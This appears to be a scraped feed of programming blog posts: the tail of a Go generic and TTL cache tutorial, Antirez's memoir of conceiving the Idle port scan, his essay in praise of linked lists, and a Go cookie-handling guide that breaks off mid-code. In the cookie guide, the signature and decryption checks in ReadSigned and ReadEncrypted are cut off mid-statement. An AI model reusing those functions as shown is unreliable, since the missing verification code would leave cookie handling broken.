(V, bool) { c.mu.Lock() defer c.mu.Unlock() value, found := c.items[key] return value, found } // Remove deletes the key-value pair with the specified key from the cache. func (c *Cache[K, V]) Remove(key K) { c.mu.Lock() defer c.mu.Unlock() delete(c.items, key) } // Pop removes and returns the value associated with the specified key from the cache. func (c *Cache[K, V]) Pop(key K) (V, bool) { c.mu.Lock() defer c.mu.Unlock() value, found := c.items[key] // If the key is found, delete the key-value pair from the cache. if found { delete(c.items, key) } return value, found } And you can use it like this: package main import ( "fmt" "time" "path/to/cache" ) func main() { // Create a new Cache instance myCache := cache.New[string, int]() // Set key-value pairs in the cache myCache.Set("one", 1) myCache.Set("two", 2) myCache.Set("three", 3) // Retrieve values from the cache value, found := myCache.Get("two") if found { fmt.Printf("Value for key 'two': %v\n", value) } else { fmt.Println("Key 'two' not found in the cache") } // Pop a key from the cache poppedValue, found := myCache.Pop("three") if found { fmt.Printf("Popped value for key 'three': %v\n", poppedValue) } else { fmt.Println("Key 'three' not found in the cache") } // Remove a key from the cache myCache.Remove("one") // Try to retrieve a removed key removedValue, found := myCache.Get("one") if found { fmt.Printf("Value for key 'one': %v\n", removedValue) } else { fmt.Println("Key 'one' not found in the cache (after removal)") } } Expiring cache You can extend this idea to associate an expiry time with every value in the cache, and launch a background goroutine to periodically remove expired entries. Like so: package cache import ( "sync" "time" ) // item represents a cache item with a value and an expiration time. type item[V any] struct { value V expiry time.Time } // isExpired checks if the cache item has expired. func (i item[V]) isExpired() bool { return time.Now().After(i.expiry) } // TTLCache is a generic cache implementation with support for time-to-live // (TTL) expiration. type TTLCache[K comparable, V any] struct { items map[K]item[V] // The map storing cache items. mu sync.Mutex // Mutex for controlling concurrent access to the cache. } // NewTTL creates a new TTLCache instance and starts a goroutine to periodically // remove expired items every 5 seconds. func NewTTL[K comparable, V any]() *TTLCache[K, V] { c := &TTLCache[K, V]{ items: make(map[K]item[V]), } go func() { for range time.Tick(5 * time.Second) { c.mu.Lock() // Iterate over the cache items and delete expired ones. for key, item := range c.items { if item.isExpired() { delete(c.items, key) } } c.mu.Unlock() } }() return c } // Set adds a new item to the cache with the specified key, value, and // time-to-live (TTL). func (c *TTLCache[K, V]) Set(key K, value V, ttl time.Duration) { c.mu.Lock() defer c.mu.Unlock() c.items[key] = item[V]{ value: value, expiry: time.Now().Add(ttl), } } // Get retrieves the value associated with the given key from the cache. func (c *TTLCache[K, V]) Get(key K) (V, bool) { c.mu.Lock() defer c.mu.Unlock() item, found := c.items[key] if !found { // If the key is not found, return the zero value for V and false. return item.value, false } if item.isExpired() { // If the item has expired, remove it from the cache and return the // value and false. delete(c.items, key) return item.value, false } // Otherwise return the value and true. return item.value, true } // Remove removes the item with the specified key from the cache. func (c *TTLCache[K, V]) Remove(key K) { c.mu.Lock() defer c.mu.Unlock() // Delete the item with the given key from the cache. delete(c.items, key) } // Pop removes and returns the item with the specified key from the cache. func (c *TTLCache[K, V]) Pop(key K) (V, bool) { c.mu.Lock() defer c.mu.Unlock() item, found := c.items[key] if !found { // If the key is not found, return the zero value for V and false. return item.value, false } // If the key is found, delete the item from the cache. delete(c.items, key) if item.isExpired() { // If the item has expired, return the value and false. return item.value, false } // Otherwise return the value and true. return item.value, true } And you can use this in much the same way: package main import ( "fmt" "time" "path/to/cache" ) func main() { // Create a new TTLCache instance myTTLCache := cache.NewTTL[string, int]() // Set key-value pairs with TTL in the cache myTTLCache.Set("one", 1, 5*time.Second) myTTLCache.Set("two", 2, 10*time.Second) myTTLCache.Set("three", 3, 15*time.Second) // Retrieve values from the cache value, found := myTTLCache.Get("two") if found { fmt.Printf("Value for key 'two': %v\n", value) } else { fmt.Println("Key 'two' not found in the cache or has expired") } // Wait for a while to allow some items to expire time.Sleep(7 * time.Second) // Try to retrieve an expired key expiredValue, found := myTTLCache.Get("one") if found { fmt.Printf("Value for key 'one': %v\n", expiredValue) } else { fmt.Println("Key 'one' not found in the cache or has expired") } // Pop a key from the cache poppedValue, found := myTTLCache.Pop("two") if found { fmt.Printf("Popped value for key 'two': %v\n", poppedValue) } else { fmt.Println("Key 'two' not found in the cache or has expired") } // Remove a key from the cache myTTLCache.Remove("three") }

• The origins of the Idle Scan
  Antirez · Oct 19, 2023

  The Idle scan was conceived at the end of 1998, evidenced by emails. I had moved to Milan a few months prior, having been there since September if I recall correctly, brimming with new ideas, unaware that my stay in that city would be brief. I spent the summer on the beaches of Sicily, mainly occupied with reading many books recommended by the folks at Seclab (mostly by David). However, those readings needed a catalyst: the Idle scan was an attack born from theoretical rumination, but the stream of thoughts originated from a rather practical circumstance. I had recently created Hping, a tool whose logo was borrowed from that of Nutella. I mention this to emphasize the seriousness that governed my efforts at that time — after all, I was only twenty-one and already in Northern Italy with a full-time job on my shoulders; some understanding was warranted. Hping was a Swiss Army knife for the TCP/IP protocol. Its initial use was mostly exploratory, for research. With Hping, you could assemble TCP, UDP, and ICMP packets in the most bizarre manner, and encapsulate them in equally eccentric IP packets, fragmented, with fields set to anomalous values. These packets were sent around to observe the network stack response of different operating systems. This is where Idle scan originates: playing with Hping for just a few minutes revealed a well-known yet (to me) surprising fact. The response packets had an ID field that continuously incremented by some measure. At that time, given that the attacks I would later disclose were not yet known, this ID field behavior aroused no concern. Every time an operating system emitted an IP packet, it first incremented a counter (which reset to zero once it reached the maximum value of two to the sixteenth power minus one), then the packet was sent with the ID set to the counter's value. The counter was universal for all outgoing packets. This allowed, for starters, to estimate the outgoing traffic of any networked computer. This information leak struck me; I saw it as a concerning anomaly. I wrote an initial post on BUGTRAQ, highlighting the issue. Among the responses was one from an Internet luminary, someone who had drafted central RFCs for the TCP/IP protocol. He said that, yes, they were aware; it was a well-known fact. In short: although this characteristic could be used for traffic estimation, most saw no risk. And resolving that issue, deemed negligible, would require a significant overhaul of operating systems. Not worth it. But I was losing sleep over it, hardly a secondary issue to me. I was convinced that the information provided by the incrementing ID field could be combined with other elements (which I had not fully grasped yet) to mount a far more serious attack. I discussed it with Lorenzo Cavallaro. Lorenzo had introduced me to raw socket techniques months earlier, which I had used to write Hping. He had become my go-to conversational partner, as well as a dear friend; if I had to ponder on TCP/IP-related matters, I would discuss them with him. When I told him about these new ideas, I had to be vague, not by choice but because I hadn't yet pieced together the final attack. Despite my vagueness, he appeared fairly interested. A couple of days later, I spoke to him again. Finally, I managed to give him a more comprehensive description of the Idle scan (not yet named as such). I had reasoned it out on paper, as there was no way to test it practically. If I remember correctly, Hping was missing some of the necessary functions, although I wouldn't bet on this part: it's been twenty-five years. My memory clears as I write. I believe you couldn't choose the exact flags of the outgoing TCP packet. Anyway, from what I remember, the modifications to Hping took little time, so we were able to test my theory in practice as well. The Idle scan really worked, and proving it in real conditions was very exciting. I don't remember who made this parallel, but essentially, it was like observing the movement of an invisible celestial body indirectly, measuring only its gravitational effects on another, more easily observable body, much like the discovery of Pluto. All that was left was to make the attack public. Unfortunately, the thought of writing a lengthy email in English terrified me. I was aware that the Idle scan was an interesting idea, and precisely because of that, I was afraid of botching its announcement due to poor presentation. After all, the attack was cumbersome; it could even end up being described so poorly as to make it incomprehensible. Lorenzo and I wrote that email late at night, at my place, certainly drunk. Better than writing it alone; Lorenzo's English, even if slightly, was better than mine. It happened that a colleague from Seclab (also one of the founders), whom I consider a true genius in information security, came from a family of restaurateurs from Emilia. One evening he shows up at my place with a bag. Inside the bag is a fine piece of grey mullet roe, which I had never seen, let alone tasted (it would become one of my favorite foods). The cook-hacker prepares pasta for all of us, and together we eat and drink sufficiently. At the end of the evening, the others leave (there was someone else, besides the cook-hacker), but Lorenzo stays a bit longer. That evening, Lorenzo and I, fairly tipsy, recklessly thought the time had come to write the Idle scan announcement email (still preserved in the BUGTRAQ archives, and which today appears genuinely delirious [1]). We sit down at my PC to work. The email opens like this: I have uncovered a new tcp port scan method. Instead all others it allows you to scan using spoofed packets, so scanned hosts can't see your real address. Not just the grammar, even the peremptory tone of the email is utterly inappropriate. To top it off, we propose calling the attack dumb host scan, but fortunately, someone quickly finds a better name, which became the official one: Idle scan. Long story short, despite its flawed origins, the Idle scan has become a classic attack, and it's safe to say, as is often the case, that the rest is history. [1] https://seclists.org/bugtraq/1998/Dec/79 Comments

• In defense of linked lists
  Antirez · Nov 04, 2022

  A few days ago, on Twitter (oh, dear Twitter: whatever happens I’ll be there as long as possible – if you care about people that put a lot of energy in creating it, think twice before leaving the platform). So, on Twitter, I was talking about a very bad implementation of linked lists written in Rust. From the tone of certain replies, I got the feeling that many people think linked lists are like a joke. A trivial data structure that is only good for coding interviews, otherwise totally useless. In a word: the bubble sort of data structures. I disagree, so I thought of writing this blog post full of all the things I love about linked lists. So, get ready to read a sentimental post about a data structure, and don't tell I didn't warn you. Linked lists are educational. When your teacher, or the page of a book, or anything that exposes you for the first time to linked lists shows you this little circle with an arrow pointing to another circle, something immense happens in your mind. Similar to what happens when you understand recursion for the first time. You get what data structures made of links truly are: the triviality of a single node that becomes a lot more powerful and complex once it references another one. Linked lists show the new programmer fundamental things about space and time in computation: how it is possible to add elements in a constant time, and how order is fundamentally costly, because if you want to insert an element “in place” you have to go from one node to the other. You immediately start thinking of ways to speed up the process (preparing you for the next things), and at the same time you understand, deeply, what O(1) and O(N) really mean. Linked lists are augmentable. Add a pointer to the previous element, and now it is possible to go both sides. Add “far” pointers from time to time, and you have a skip list with completely different properties. Change every node to hold multiple items and your linked list becomes unrolled, providing very different cache obviousness properties. Linked lists can be embedded, too. The Linux kernel, for instance, has macros to add a field to any structures in order to link them together. There is more: linked lists are composable. This is a bold property: you can split a linked list into two in O(1), and you can glue two linked lists in O(1) as well. If you make judicious use of this property, interesting things are possible. For instance, in Redis modules implementing threaded operations, the thread processing the slow request dealt with a fake client structure (this way there was no locking, no contention). When the threaded command finally ended its execution, the output buffer of the client could be glued together to the actual buffer of the real client. This was easy because the output buffer was represented with a linked list. Linked lists are useful: Redis can be wrong, but both Redis and the Linux kernel can’t. They are useful because they resemble certain natural processes: adding things in the order they arrive, or in the reverse order, is natural even in the physical world. Pulling items incrementally is useful too, as it is moving such items from head to tail, or moving them a position after the current one. Linked lists are simple. It is one of those rare data structures, together with binary trees and hash tables and a few more, that you can implement just from memory without likely stepping into big errors. Linked lists are conceptual. A node pointing to itself is the most self centered thing I can imagine in computing: an ideal representation of the more vulgar infinite loop. A node pointing to NULL is a metaphor of loneliness. A linked list with tail and head connected, a powerful symbol of a closed cycle. For all those reasons, I love linked lists, and I hope that you will, at least, start smiling at them. Comments

• A complete guide to working with Cookies in Go
  Alex Edwards · Sep 28, 2022

  In this post we're going to run through how to use cookies in your Go web application to persist data between HTTP requests for a specific client. We'll start simple, and slowly build up a working application which covers the following topics: Basic reading and writing of cookies Encoding special characters and maximum length Using tamper-proof (signed) cookies Using confidential (encrypted) and tamper-proof cookies Storing custom data types in cookies Hint: If you're new to web development and need a general introduction to what cookies are and how they work, I recommend reading this MDN article before continuing. If you just want the final code, rather than the explanations, you can find it in this gist. Basic use The first thing to know is that cookies in Go are represented by the http.Cookie type. This is a struct which looks like this: type Cookie struct { Name string Value string Path string Domain string Expires time.Time RawExpires string // MaxAge=0 means no 'Max-Age' attribute specified. // MaxAge0 means Max-Age attribute present and given in seconds MaxAge int Secure bool HttpOnly bool SameSite SameSite Raw string Unparsed []string } Name is the cookie name. It can contain any US-ASCII characters except ( ) @ , ; : \ " / [ ? ] = { } and space, tab and control characters. It is a mandatory field. Value contains the data that you want to persist. It can contain any US-ASCII characters except , ; \ " and space, tab and control characters. It is a mandatory field. Path, Domain, Expires, MaxAge, Secure, HttpOnly and SameSite map directly to the respective cookie attributes. All of these are optional fields. If set, the value of the SameSite field should be one of the SameSite constants from the net/http package. The RawExpires, Raw and Unparsed fields are only used when your Go program is acting as a client (rather than a server) and parsing the cookies from a HTTP response. Most of the time you won't need to use these fields. Cookies can be written in a HTTP response using the http.SetCookie() function, and read from a HTTP request using the *Request.Cookie() method. Let's jump in and use these things in a working example. If you'd like to follow along, please run the following commands to set up a basic project scaffold: $ mkdir example-project $ cd example-project/ $ go mod init example.com/example-project go: creating new go.mod: module example.com/example-project $ touch main.go In the main.go file we're going to create a simple web application with two endpoints: GET /set which writes a new cookie along with the HTTP response. GET /get which reads the cookie sent with the HTTP request and then echoes out the cookie value in the response. Go ahead and add the following code to main.go: File: main.gopackage main import ( "errors" "log" "net/http" ) func main() { // Start a web server with the two endpoints. mux := http.NewServeMux() mux.HandleFunc("/set", setCookieHandler) mux.HandleFunc("/get", getCookieHandler) log.Print("Listening...") err := http.ListenAndServe(":3000", mux) if err != nil { log.Fatal(err) } } func setCookieHandler(w http.ResponseWriter, r *http.Request) { // Initialize a new cookie containing the string "Hello world!" and some // non-default attributes. cookie := http.Cookie{ Name: "exampleCookie", Value: "Hello world!", Path: "/", MaxAge: 3600, HttpOnly: true, Secure: true, SameSite: http.SameSiteLaxMode, } // Use the http.SetCookie() function to send the cookie to the client. // Behind the scenes this adds a `Set-Cookie` header to the response // containing the necessary cookie data. http.SetCookie(w, &cookie) // Write a HTTP response as normal. w.Write([]byte("cookie set!")) } func getCookieHandler(w http.ResponseWriter, r *http.Request) { // Retrieve the cookie from the request using its name (which in our case is // "exampleCookie"). If no matching cookie is found, this will return a // http.ErrNoCookie error. We check for this, and return a 400 Bad Request // response to the client. cookie, err := r.Cookie("exampleCookie") if err != nil { switch { case errors.Is(err, http.ErrNoCookie): http.Error(w, "cookie not found", http.StatusBadRequest) default: log.Println(err) http.Error(w, "server error", http.StatusInternalServerError) } return } // Echo out the cookie value in the response body. w.Write([]byte(cookie.Value)) } Note: As an aside, we have set the Secure attribute on the cookie to true. This indicates to the client (usually a web browser) that the cookie should only be used for 'secure' connections. Generally speaking this means that the cookie should only be used for encrypted connections (i.e. HTTPS), but many modern browsers (including Firefox and Chrome) also consider unencrypted connections to localhost to be 'secure'. This means that the cookie should work on localhost even if our web application is only using HTTP. OK, let's try this out. Go ahead and run the application: $ go run . 2022/09/25 10:44:11 Listening... And then open http://localhost:3000/set in your web browser. You should see the "cookie set!" response and, if you have developer tools open, you should also see the Set-Cookie header containing the data in the HTTP response headers. Then if you visit http://localhost:3000/get, our exampleCookie cookie should be passed back along with the HTTP request, and our getCookieHandler will retrieve the cookie value and print it in the response. Like so: If you want, you can also make a request to http://localhost:3000/set using curl to see the contents of the Set-Cookie header. Like so: $ curl -i http://localhost:3000/set HTTP/1.1 200 OK Set-Cookie: exampleCookie="Hello world!"; Path=/; Max-Age=3600; HttpOnly; Secure; SameSite=Lax Date: Sun, 25 Sep 2022 08:45:02 GMT Content-Length: 11 Content-Type: text/plain; charset=utf-8 cookie set! Encoding special characters and maximum length So far, so good! But there are a couple of important things to be aware of when writing cookies. As mentioned briefly above, cookie values must only contain a subset of the US-ASCII characters. If you try to use an unsupported character, Go will strip it out before setting the Set-Cookie header. Let's try this out by adapting our setCookieHandler to write a cookie value containing a non US-ASCII character like "Hello Zoë!" (notice the umlauted ë character): File: main.go package main ... func setCookieHandler(w http.ResponseWriter, r *http.Request) { cookie := http.Cookie{ Name: "exampleCookie", Value: "Hello Zoë!", Path: "/", MaxAge: 3600, HttpOnly: true, Secure: true, SameSite: http.SameSiteLaxMode, } http.SetCookie(w, &cookie) w.Write([]byte("cookie set!")) } ... Then when you make a request to http://localhost:3000/set, you'll see that the cookie value has been stripped down to "Hello Zo!". $ curl -i http://localhost:3000/set HTTP/1.1 200 OK Set-Cookie: exampleCookie="Hello Zo!"; Path=/; Max-Age=3600; HttpOnly; Secure; SameSite=Lax Date: Sun, 25 Sep 2022 09:00:03 GMT Content-Length: 11 Content-Type: text/plain; charset=utf-8 cookie set! A good way to avoid this kind of problem is to base64-encode your cookie values before writing them. Because the base64 character set is a subset of the US-ASCII characters supported in cookies, we can be confident that nothing will be stripped from the cookie value. Another thing to be aware of is that web browsers impose a maximum size limit on cookies. But this limit — and how the cookie size is calculated — depends on the browser version being used. To prevent problems, a good rule-of-thumb is to keep the total size of the cookie (including all attributes) to no more than 4096 bytes. If you try to send a cookie larger than 4096 bytes, Go will write the Set-Cookie header without any problems (it won't be truncated), but there is a risk that the client may truncate or reject the cookie. To help with these two potential problems, let's create an internal/cookies package containing a couple of helper functions: A Write() function which encodes a cookie value to base64 and checks that the total length of the cookie is no more than 4096 bytes before writing it. A Read() function which reads a cookie from the current request and decodes the cookie value from base64. $ mkdir -p internal/cookies $ touch internal/cookies/cookies.go File: internal/cookies/cookies.gopackage cookies import ( "encoding/base64" "errors" "net/http" ) var ( ErrValueTooLong = errors.New("cookie value too long") ErrInvalidValue = errors.New("invalid cookie value") ) func Write(w http.ResponseWriter, cookie http.Cookie) error { // Encode the cookie value using base64. cookie.Value = base64.URLEncoding.EncodeToString([]byte(cookie.Value)) // Check the total length of the cookie contents. Return the ErrValueTooLong // error if it's more than 4096 bytes. if len(cookie.String()) > 4096 { return ErrValueTooLong } // Write the cookie as normal. http.SetCookie(w, &cookie) return nil } func Read(r *http.Request, name string) (string, error) { // Read the cookie as normal. cookie, err := r.Cookie(name) if err != nil { return "", err } // Decode the base64-encoded cookie value. If the cookie didn't contain a // valid base64-encoded value, this operation will fail and we return an // ErrInvalidValue error. value, err := base64.URLEncoding.DecodeString(cookie.Value) if err != nil { return "", ErrInvalidValue } // Return the decoded cookie value. return string(value), nil } Then we can update our main.go file to use these new helpers, like so: File: main.gopackage main import ( "errors" "log" "net/http" "example.com/example-project/internal/cookies" // Import the internal/cookies package. ) ... func setCookieHandler(w http.ResponseWriter, r *http.Request) { // Initialize the cookie as normal. cookie := http.Cookie{ Name: "exampleCookie", Value: "Hello Zoë!", Path: "/", MaxAge: 3600, HttpOnly: true, Secure: true, SameSite: http.SameSiteLaxMode, } // Write the cookie. If there is an error (due to an encoding failure or it // being too long) then log the error and send a 500 Internal Server Error // response. err := cookies.Write(w, cookie) if err != nil { log.Println(err) http.Error(w, "server error", http.StatusInternalServerError) return } w.Write([]byte("cookie set!")) } func getCookieHandler(w http.ResponseWriter, r *http.Request) { // Use the Read() function to retrieve the cookie value, additionally // checking for the ErrInvalidValue error and handling it as necessary. value, err := cookies.Read(r, "exampleCookie") if err != nil { switch { case errors.Is(err, http.ErrNoCookie): http.Error(w, "cookie not found", http.StatusBadRequest) case errors.Is(err, cookies.ErrInvalidValue): http.Error(w, "invalid cookie", http.StatusBadRequest) default: log.Println(err) http.Error(w, "server error", http.StatusInternalServerError) } return } w.Write([]byte(value)) } If you restart your web application and make a request to http://localhost:3000/set followed by http://localhost:3000/get in your browser, you should now successfully see the message "Hello Zoë!" in full. Likewise, if you make a request to http://localhost:3000/set using curl, you should see that the cookie value is SGVsbG8gWm_DqyE= — which is the base64 encoding of Hello Zoë!. $ curl -i localhost:3000/set HTTP/1.1 200 OK Set-Cookie: exampleCookie=SGVsbG8gWm_DqyE=; Path=/; Max-Age=3600; HttpOnly; Secure; SameSite=Lax Date: Sun, 25 Sep 2022 09:14:18 GMT Content-Length: 11 Content-Type: text/plain; charset=utf-8 cookie set $ echo "SGVsbG8gWm_DqyE=" | base64url --decode Hello Zoë! Tamper-proof (signed) cookies By default, you shouldn't trust cookie data. Because cookies are stored on the client, it's fairly straightforward for a user to edit them (in fact, many web browser extensions exist for exactly this purpose). So if you're performing actions in your web application based on the value of a cookie, it's important to first verify that the cookie hasn't been edited and contains the original name and value that you set. A good way to do this is to generate a HMAC signature of the cookie name and value, and then prepend this signature to the cookie value before sending it to the client. So that the final value is in this format: cookie.Value = "{HMAC signature}{original value}" When we receive the cookie back from the client, we can recalculate the HMAC signature from the cookie name and original value, and check that the recalculated HMAC signature matches the signature at the start of the received cookie. If they match, it confirms the integrity of the name and value — and we know that it hasn't been edited by the client. Let's update the internal/cookies/cookies.go file to include some WriteSigned() and ReadSigned() functions which do exactly that. File: internal/cookies/cookies.gopackage cookies import ( "crypto/hmac" "crypto/sha256" "encoding/base64" "errors" "net/http" ) ... func WriteSigned(w http.ResponseWriter, cookie http.Cookie, secretKey []byte) error { // Calculate a HMAC signature of the cookie name and value, using SHA256 and // a secret key (which we will create in a moment). mac := hmac.New(sha256.New, secretKey) mac.Write([]byte(cookie.Name)) mac.Write([]byte(cookie.Value)) signature := mac.Sum(nil) // Prepend the cookie value with the HMAC signature. cookie.Value = string(signature) + cookie.Value // Call our Write() helper to base64-encode the new cookie value and write // the cookie. return Write(w, cookie) } func ReadSigned(r *http.Request, name string, secretKey []byte) (string, error) { // Read in the signed value from the cookie. This should be in the format // "{signature}{original value}". signedValue, err := Read(r, name) if err != nil { return "", err } // A SHA256 HMAC signature has a fixed length of 32 bytes. To avoid a potential // 'index out of range' panic in the next step, we need to check sure that the // length of the signed cookie value is at least this long. We'll use the // sha256.Size constant here, rather than 32, just because it makes our code // a bit more understandable at a glance. if len(signedValue) Alright, let's update our main.go file to include a secret key and use the new WriteSigned() and ReadSigned() functions. The secret key should be generated using a cryptographically secure random number generator (CSRNG), should be unique to your application, and should ideally have at least 32 bytes of entropy. For the purpose of this example, we'll use a random 64 character hex string and decode it to give us a byte slice containing 32 random bytes. File: main.gopackage main import ( "encoding/hex" "errors" "log" "net/http" "example.com/example-project/internal/cookies" ) // Declare a global variable to hold the secret key. var secretKey []byte func main() { var err error // Decode the random 64-character hex string to give us a slice containing // 32 random bytes. For simplicity, I've hardcoded this hex string but in a // real application you should read it in at runtime from a command-line // flag or environment variable. secretKey, err = hex.DecodeString("13d6b4dff8f84a10851021ec8608f814570d562c92fe6b5ec4c9f595bcb3234b") if err != nil { log.Fatal(err) } mux := http.NewServeMux() mux.HandleFunc("/set", setCookieHandler) mux.HandleFunc("/get", getCookieHandler) log.Print("Listening...") err = http.ListenAndServe(":3000", mux) if err != nil { log.Fatal(err) } } func setCookieHandler(w http.ResponseWriter, r *http.Request) { cookie := http.Cookie{ Name: "exampleCookie", Value: "Hello Zoë!", Path: "/", MaxAge: 3600, HttpOnly: true, Secure: true, SameSite: http.SameSiteLaxMode, } // Use the WriteSigned() function, passing in the secret key as the final // argument. err := cookies.WriteSigned(w, cookie, secretKey) if err != nil { log.Println(err) http.Error(w, "server error", http.StatusInternalServerError) return } w.Write([]byte("cookie set!")) } func getCookieHandler(w http.ResponseWriter, r *http.Request) { // Use the ReadSigned() function, passing in the secret key as the final // argument. value, err := cookies.ReadSigned(r, "exampleCookie", secretKey) if err != nil { switch { case errors.Is(err, http.ErrNoCookie): http.Error(w, "cookie not found", http.StatusBadRequest) case errors.Is(err, cookies.ErrInvalidValue): http.Error(w, "invalid cookie", http.StatusBadRequest) default: log.Println(err) http.Error(w, "server error", http.StatusInternalServerError) } return } w.Write([]byte(value)) } If you visit http://localhost:3000/set in your web browser followed by http://localhost:3000/get, you should still successfully see the message "Hello Zoë!". If you like, you can also use a browser extension to change the cookie value (search for "cookie editor" in your browser extension store). If you do this and visit http://localhost:3000/get again, you should now receive a 400 Bad Request response and the "invalid cookie" message. Before we move on, let's also make a request to http://localhost:3000/set using curl: $ curl -i http://localhost:3000/set HTTP/1.1 200 OK Set-Cookie: exampleCookie=1lYrR9MfMsu6Dm39EgfbOuFTUbZm3_5tmWsF943HN4hIZWxsbyBab8OrIQ==; Path=/; Max-Age=3600; HttpOnly; Secure; SameSite=Lax Date: Wed, 28 Sep 2022 09:28:55 GMT Content-Length: 11 Content-Type: text/plain; charset=utf-8 cookie set! In my case we can see that the signed cookie value is: 1lYrR9MfMsu6Dm39EgfbOuFTUbZm3_5tmWsF943HN4hIZWxsbyBab8OrIQ== Let's base64-decode this: $ echo "1lYrR9MfMsu6Dm39EgfbOuFTUbZm3_5tmWsF943HN4hIZWxsbyBab8OrIQ==" | base64url --decode �V+G�2˺m��:�SQ�f��m�k���7�Hello Zoë! The first part of the decoded value is the HMAC signature (which looks like gibberish), followed by our original cookie value in plaintext. Confidential (encrypted) and tamper-proof cookies The HMAC signing pattern above is great for times when you want to confirm that a cookie has not been edited by a client, and you're not worried about the client being able to read the cookie data (i.e. the cookie doesn't contain any secret or confidential information). But if you do want to prevent the client from being able to read the cookie data, we need to encrypt the data before writing it. A good way to encrypt the data in cookies is to use AES-GCM (AES with Galois/Counter Mode) encryption. AES-GCM is a type of authenticated encryption, which is good because it both encrypts and authenticates the data. The encryption ensures confidentiality of the data, and the authentication ensures the integrity of the data (i.e. that the data hasn't been changed). Effectively, encrypting our cookie data using AES-GCM is a relatively easy way to give us confidential, tamper-proof, cookies in a single step. Let's create two new helper functions, WriteEncrypted() and ReadEncrypted(), which use this. Like so: File: internal/cookies/cookies.gopackage cookies import ( "crypto/aes" "crypto/cipher" "crypto/hmac" "crypto/rand" "crypto/sha256" "encoding/base64" "errors" "fmt" "io" "net/http" "strings" ) ... func WriteEncrypted(w http.ResponseWriter, cookie http.Cookie, secretKey []byte) error { // Create a new AES cipher block from the secret key. block, err := aes.NewCipher(secretKey) if err != nil { return err } // Wrap the cipher block in Galois Counter Mode. aesGCM, err := cipher.NewGCM(block) if err != nil { return err } // Create a unique nonce containing 12 random bytes. nonce := make([]byte, aesGCM.NonceSize()) _, err = io.ReadFull(rand.Reader, nonce) if err != nil { return err } // Prepare the plaintext input for encryption. Because we want to // authenticate the cookie name as well as the value, we make this plaintext // in the format "{cookie name}:{cookie value}". We use the : character as a // separator because it is an invalid character for cookie names and // therefore shouldn't appear in them. plaintext := fmt.Sprintf("%s:%s", cookie.Name, cookie.Value) // Encrypt the data using aesGCM.Seal(). By passing the nonce as the first // parameter, the encrypted data will be appended to the nonce — meaning // that the returned encryptedValue variable will be in the format // "{nonce}{encrypted plaintext data}". encryptedValue := aesGCM.Seal(nonce, nonce, []byte(plaintext), nil) // Set the cookie value to the encryptedValue. cookie.Value = string(encryptedValue) // Write the cookie as normal. return Write(w, cookie) } func ReadEncrypted(r *http.Request, name string, secretKey []byte) (string, error) { // Read the encrypted value from the cookie as normal. encryptedValue, err := Read(r, name) if err != nil { return "", err } // Create a new AES cipher block from the secret key. block, err := aes.NewCipher(secretKey) if err != nil { return "", err } // Wrap the cipher block in Galois Counter Mode. aesGCM, err := cipher.NewGCM(block) if err != nil { return "", err } // Get the nonce size. nonceSize := aesGCM.NonceSize() // To avoid a potential 'index out of range' panic in the next step, we // check that the length of the encrypted value is at least the nonce // size. if len(encryptedValue) Then we can switch our main.go file to use these new helpers like so: File: main.gopackage main ... func setCookieHandler(w http.ResponseWriter, r *http.Request) { cookie := http.Cookie{ Name: "exampleCookie", Value: "Hello Zoë!", Path: "/", MaxAge: 3600, HttpOnly: true, Secure: true, SameSite: http.SameSiteLaxMode, } err := cookies.WriteEncrypted(w, cookie, secretKey) if err != nil { log.Println(err) http.Error(w, "server error", http.StatusInternalServerError) return } w.Write([]byte("cookie set!")) } func getCookieHandler(w http.ResponseWriter, r *http.Request) { value, err := cookies.ReadEncrypted(r, "exampleCookie", secretKey) if err != nil { switch { case errors.Is(err, http.ErrNoCookie): http.Error(w, "cookie not found", http.StatusBadRequest) case errors.Is(err, cookies.ErrInvalidValue): http.Error(w, "invalid cookie", http.StatusBadRequest) default: log.Println(err) http.Error(w, "server error", http.StatusInternalServerError) } return } w.Write([]byte(value)) } Note: When using AES-GCM encryption, it's important that your secret key is exactly 32 bytes long. Otherwise you will get a runtime error like crypto/aes: invalid key size . Again, you can visit http://localhost:3000/set and http://localhost:3000/get in your browser, and you should still successfully see the message "Hello Zoë!". And if you edit the exampleCookie cookie using a browser extension, you should find that any subsequent requests result in an "invalid cookie" response. Let's take a look at the Set-Cookie header now using curl. $ curl -i http://localhost:3000/set HTTP/1.1 200 OK Set-Cookie: exampleCookie=hBGecbVJ2cI0yAwrbMYd5sv7qslxBJoGnk7LBLHVR9rKrqh1cTVs2IuWHZUOkl2fdYeIYmY=; Path=/; Max-Age=3600; HttpOnly; Secure; SameSite=Lax Date: Wed, 28 Sep 2022 10:37:23 GMT Content-Length: 11 Content-Type: text/plain; charset=utf-8 cookie set! In my case the encrypted cookie value is: hBGecbVJ2cI0yAwrbMYd5sv7qslxBJoGnk7LBLHVR9rKrqh1cTVs2IuWHZUOkl2fdYeIYmY= If we base64-decode this value, we should now just see gibberish and our original "Hello Zoë!" value should no longer be visible. $ echo "hBGecbVJ2cI0yAwrbMYd5sv7qslxBJoGnk7LBLHVR9rKrqh1cTVs2IuWHZUOkl2fdYeIYmY=" | base64url --decode ��q�I��4�+l������q��N���G�ʮ�uq5l؋���]�u��bf Great! The encryption has worked! Storing custom data types So far we've just been storing simple string data in our cookies. But what if we want to store something more complicated, like the data for a user represented as a struct in Go? type User struct { Name string Age int } The good news is that the Go standard library includes the encoding/gob package, which we can use to encode/decode a Go value to and from a byte slice. It's kind of like "pickling" in Python, "marshaling" in Ruby, or "serializing" in PHP. To help demonstrate how to use this, let's update our main.go file to gob-encode a User struct and store it in a cookie: package main import ( "bytes" "encoding/gob" "encoding/hex" "errors" "fmt" "log" "net/http" "strings" "example.com/example-project/internal/cookies" ) var secret []byte // Declare the User type. type User struct { Name string Age int } func main() { // Importantly, we need to tell the encoding/gob package about the Go type // that we want to encode. We do this my passing *an instance* of the type // to gob.Register(). In this case we pass a pointer to an initialized (but // empty) instance of the User struct. gob.Register(&User{}) var err error secret, err = hex.DecodeString("13d6b4dff8f84a10851021ec8608f814570d562c92fe6b5ec4c9f595bcb3234b") if err != nil { log.Fatal(err) } mux := http.NewServeMux() mux.HandleFunc("/set", setCookieHandler) mux.HandleFunc("/get", getCookieHandler) log.Print("Listening...") err = http.ListenAndServe(":3000", mux) if err != nil { log.Fatal(err) } } func setCookieHandler(w http.ResponseWriter, r *http.Request) { // Initialize a User struct containing the data that we want to store in the // cookie. user := User{Name: "Alice", Age: 21} // Initialize a buffer to hold the gob-encoded data. var buf bytes.Buffer // Gob-encode the user data, storing the encoded output in the buffer. err := gob.NewEncoder(&buf).Encode(&user) if err != nil { 